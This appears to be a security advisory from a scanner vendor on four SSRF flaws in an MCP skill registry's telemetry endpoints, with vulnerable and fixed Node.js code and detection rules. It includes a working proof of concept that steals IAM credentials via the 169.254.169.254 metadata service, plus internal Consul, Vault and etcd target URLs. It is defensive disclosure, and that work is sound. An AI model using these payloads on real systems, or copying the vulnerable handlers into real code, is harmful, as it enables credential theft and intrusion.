Claude MCP skill SSRF — skill analytics and usage telemetry collection endpoints (SA-SKL-SSRF71)
SA-SKL-SSRF71 identifies four server-side request forgery vulnerabilities in MCP skill registry analytics and usage telemetry collection endpoints. The analytics event submission endpoint fetches a user-supplied webhook URL that, when pointed to the cloud IMDS at 169.254.169.254, returns IAM credentials in the confirmation response; the telemetry sink registration endpoint fetches the user-supplied sink URL and returns the response body, exposing the full Consul service catalog when pointed to Consul; the usage report delivery endpoint follows redirects that resolve through a CNAME chain to Vault, returning KV secrets; and the audit telemetry sink endpoint fetches the user-supplied URL and stores the raw response body persistently, allowing an attacker to exfiltrate etcd configuration through the audit telemetry history API.
analyticsWebhookUrl; attacker sets to 169.254.169.254; IAM credentials appear in analytics confirmation response returned to attackertelemetrySinkUrl; attacker points to Consul:8500; full service catalog returned as telemetry acknowledgment bodyreportDeliveryUrl with redirect:follow; CNAME chain to Vault:8200 returns KV secrets including database credentials and API keysauditTelemetryUrl and stores raw response in audit history; attacker points to etcd:2379; etcd configuration retrieved via audit telemetry history APISSRF71-001 — Analytics webhook URL fetch leaks IAM credentials via IMDS
The analytics event submission endpoint accepts a user-configurable analyticsWebhookUrl that the registry fetches to confirm delivery of analytics event batches. The endpoint calls fetch(analyticsWebhookUrl, { method: 'POST', body: JSON.stringify(eventBatch) }) and includes the response body in the JSON response returned to the caller as a delivery confirmation. No URL validation or allowlist check is performed before the fetch.
An attacker who sets analyticsWebhookUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/ receives the IAM role name as the first confirmation response. A second request with the full credentials path returns the AccessKeyId, SecretAccessKey, and Token for the registry server's IAM role. These credentials have the permissions attached to the registry's execution role, which typically includes read access to S3 buckets containing skill packages, DynamoDB tables containing user records, and SSM Parameter Store entries containing API keys for downstream integrations. Because the credentials are returned in a normal API response, there is no anomaly in the registry's access logs that would distinguish this from a legitimate analytics delivery confirmation.
// SSRF71-001 — VULNERABLE
router.post('/analytics/events', requireSession, async (req, res) => {
const { skillId, eventBatch, analyticsWebhookUrl } = req.body;
await db.analyticsEvents.bulkCreate(
eventBatch.map(e => ({ ...e, skillId, userId: req.session.userId }))
);
if (analyticsWebhookUrl) {
// VULNERABLE: unchecked user-supplied URL — IMDS reachable
const confirmation = await fetch(analyticsWebhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ received: eventBatch.length, skillId }),
});
const confirmationBody = await confirmation.text();
return res.json({ ok: true, webhookConfirmation: confirmationBody });
}
res.json({ ok: true });
});
Attack PoC — SSRF71-001: Two-step IMDS credential exfiltration. First request discovers the IAM role name; second request retrieves the temporary credentials. Both responses are returned directly in the API response body.
// SSRF71-001 — ATTACK PoC
// Step 1: discover IAM role name
const step1 = await fetch('https://registry.example.com/api/analytics/events', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
body: JSON.stringify({
skillId: 'any-skill-id',
eventBatch: [{ type: 'view', ts: Date.now() }],
analyticsWebhookUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
}),
});
const { webhookConfirmation: roleName } = await step1.json();
// roleName = "arn:aws:iam::123456789012:role/registry-execution-role"
// Step 2: retrieve credentials
const step2 = await fetch('https://registry.example.com/api/analytics/events', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: 'Bearer ' + token },
body: JSON.stringify({
skillId: 'any-skill-id',
eventBatch: [{ type: 'view', ts: Date.now() }],
analyticsWebhookUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName.trim()}`,
}),
});
const { webhookConfirmation: creds } = await step2.json();
// creds = JSON with AccessKeyId, SecretAccessKey, Token
// SSRF71-001 — FIXED
const { URL } = require('url');
const dns = require('dns').promises;
const BLOCKED_RANGES = [
/^127\./,
/^10\./,
/^192\.168\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^169\.254\./, // Link-local / IMDS
/^::1$/,
/^fc00:/,
/^fe80:/,
];
async function safeWebhookFetch(urlString, body) {
const url = new URL(urlString);
if (!['https:'].includes(url.protocol)) throw new Error('Only HTTPS webhooks allowed');
const addresses = await dns.resolve4(url.hostname);
for (const addr of addresses) {
if (BLOCKED_RANGES.some(r => r.test(addr))) {
throw new Error(`Webhook URL resolves to blocked address: ${addr}`);
}
}
const resp = await fetch(urlString, { method: 'POST', body, redirect: 'error' });
return resp.status; // return only status code — not response body
}
router.post('/analytics/events', requireSession, async (req, res) => {
const { skillId, eventBatch, analyticsWebhookUrl } = req.body;
await db.analyticsEvents.bulkCreate(
eventBatch.map(e => ({ ...e, skillId, userId: req.session.userId }))
);
if (analyticsWebhookUrl) {
const status = await safeWebhookFetch(
analyticsWebhookUrl,
JSON.stringify({ received: eventBatch.length })
);
return res.json({ ok: true, webhookStatus: status }); // FIXED: status only, not body
}
res.json({ ok: true });
});
SSRF71-002 — Telemetry sink registration fetches Consul service catalog
The telemetry sink registration endpoint accepts a telemetrySinkUrl and performs a validation fetch to verify the sink is reachable before activating it. The endpoint calls fetch(telemetrySinkUrl), reads the response body, and returns it in the registration response as a connectivity confirmation. With no URL allowlist, an attacker can register a sink URL pointing to http://consul-agent:8500/v1/catalog/services and receive the full Consul service catalog, including every internal service name and its health check endpoints, in the registration response.
The Consul service catalog is typically used by attackers as a map of the internal network: it lists every registered service, the nodes it runs on, and the port it listens on. Combined with the SSRF71-001 credential leak, an attacker who has the internal service map and valid IAM credentials can pivot from the SSRF to direct API calls against internal services without needing to chain further requests through the registry.
// SSRF71-002 — VULNERABLE
router.post('/telemetry/sinks', requireSession, async (req, res) => {
const { skillId, telemetrySinkUrl, sinkName } = req.body;
// VULNERABLE: unchecked fetch to validate sink reachability
const check = await fetch(telemetrySinkUrl);
const checkBody = await check.text();
if (check.status !== 200) {
return res.status(400).json({ error: 'Sink unreachable', details: checkBody });
}
await db.telemetrySinks.create({ skillId, url: telemetrySinkUrl, name: sinkName });
res.json({ ok: true, sinkConnectivity: checkBody }); // response body returned
});
// SSRF71-002 — FIXED
router.post('/telemetry/sinks', requireSession, async (req, res) => {
const parsed = TelemetrySinkSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { skillId, telemetrySinkUrl, sinkName } = parsed.data;
// FIXED: validate URL against allowlist; check reachability but discard body
await assertSafeExternalUrl(telemetrySinkUrl); // throws on internal IP or non-HTTPS
const check = await fetch(telemetrySinkUrl, { method: 'HEAD', redirect: 'error' });
if (check.status !== 200) {
return res.status(400).json({ error: 'Sink unreachable', status: check.status });
}
await db.telemetrySinks.create({ skillId, url: telemetrySinkUrl, name: sinkName });
res.json({ ok: true }); // FIXED: no connectivity body in response
});
SSRF71-003 — Usage report delivery follows redirect chain to Vault KV secrets
The usage report delivery endpoint sends compiled usage reports to a user-supplied reportDeliveryUrl using node-fetch with its default redirect: 'follow' setting. No URL pre-validation or redirect destination check is performed. An attacker registers a reportDeliveryUrl pointing to an attacker-controlled domain that returns an HTTP 301 redirect. The redirect target is a CNAME that resolves to vault.internal:8200, and the redirect destination path is /v1/secret/data/registry. Because node-fetch follows the redirect, the registry server requests the Vault KV path and receives the registry's stored secrets, which are returned to the attacker in the report delivery confirmation response.
The CNAME indirection defeats naive hostname-based blocklists that check the user-supplied URL but not the final redirect destination. The fix requires both pre-flight DNS resolution of the initial URL and a check of every intermediate redirect destination before the request proceeds.
// SSRF71-003 — VULNERABLE
const fetch = require('node-fetch');
router.post('/reports/deliver', requireSession, async (req, res) => {
const { skillId, reportId, reportDeliveryUrl } = req.body;
const report = await buildUsageReport(skillId, reportId);
// VULNERABLE: redirect:follow — CNAME chain to Vault:8200 followed silently
const delivery = await fetch(reportDeliveryUrl, {
method: 'POST',
body: JSON.stringify(report),
redirect: 'follow', // default — attacker CNAME → vault:8200
});
const body = await delivery.text();
res.json({ ok: true, deliveryStatus: delivery.status, deliveryBody: body });
});
// SSRF71-003 — FIXED
router.post('/reports/deliver', requireSession, async (req, res) => {
const parsed = ReportDeliverySchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { skillId, reportId, reportDeliveryUrl } = parsed.data;
await assertSafeExternalUrl(reportDeliveryUrl);
const report = await buildUsageReport(skillId, reportId);
// FIXED: redirect:'error' — no redirect following; external URL check pre-validated
const delivery = await fetch(reportDeliveryUrl, {
method: 'POST',
body: JSON.stringify(report),
redirect: 'error',
});
res.json({ ok: true, deliveryStatus: delivery.status }); // FIXED: no body in response
});
SSRF71-004 — Audit telemetry sink stores etcd config via persistent history API
The audit telemetry sink endpoint fetches a user-supplied auditTelemetryUrl to deliver audit event batches and stores the raw response body in the audit telemetry history table for compliance record-keeping. An attacker who registers a sink URL pointing to http://etcd.internal:2379/v3/kv/range can retrieve the full etcd key-value store — containing Kubernetes cluster configuration, stored secrets, and service endpoint definitions — and have it stored persistently in the registry's audit telemetry history. The attacker can then retrieve the stored etcd config at any time through the registry's audit telemetry history API without needing to repeat the SSRF, making the exfiltration persistent even if the etcd firewall rules are subsequently tightened.
// SSRF71-004 — VULNERABLE
router.post('/telemetry/audit', requireSession, async (req, res) => {
const { skillId, auditEventBatch, auditTelemetryUrl } = req.body;
let sinkResponse = null;
if (auditTelemetryUrl) {
// VULNERABLE: unchecked URL; response stored persistently
const resp = await fetch(auditTelemetryUrl, {
method: 'POST',
body: JSON.stringify(auditEventBatch),
});
sinkResponse = await resp.text();
// VULNERABLE: response body stored in audit history — persistent exfil storage
await db.auditTelemetryHistory.create({
skillId,
sinkUrl: auditTelemetryUrl,
sinkResponse,
deliveredAt: new Date(),
});
}
res.json({ ok: true, sinkResponse });
});
// SSRF71-004 — FIXED
router.post('/telemetry/audit', requireSession, async (req, res) => {
const parsed = AuditTelemetrySchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { skillId, auditEventBatch, auditTelemetryUrl } = parsed.data;
if (auditTelemetryUrl) {
await assertSafeExternalUrl(auditTelemetryUrl);
const resp = await fetch(auditTelemetryUrl, {
method: 'POST',
body: JSON.stringify(auditEventBatch),
redirect: 'error',
});
// FIXED: store only delivery status code — not response body
await db.auditTelemetryHistory.create({
skillId,
sinkUrl: auditTelemetryUrl,
deliveryStatus: resp.status,
deliveredAt: new Date(),
});
}
res.json({ ok: true });
});
SkillAudit detection: The scanner identifies SSRF71 patterns using four AST query classes: fetch(req.body. calls without prior URL allowlist or IP-range check; fetch( calls with redirect:'follow' or no redirect option on user-supplied URLs; response .text() or .json() reads from outbound fetches to user-supplied URLs that are then returned in API responses; and db. write calls that include fetched response bodies. Submit your MCP skill registry codebase to SkillAudit for a full audit report.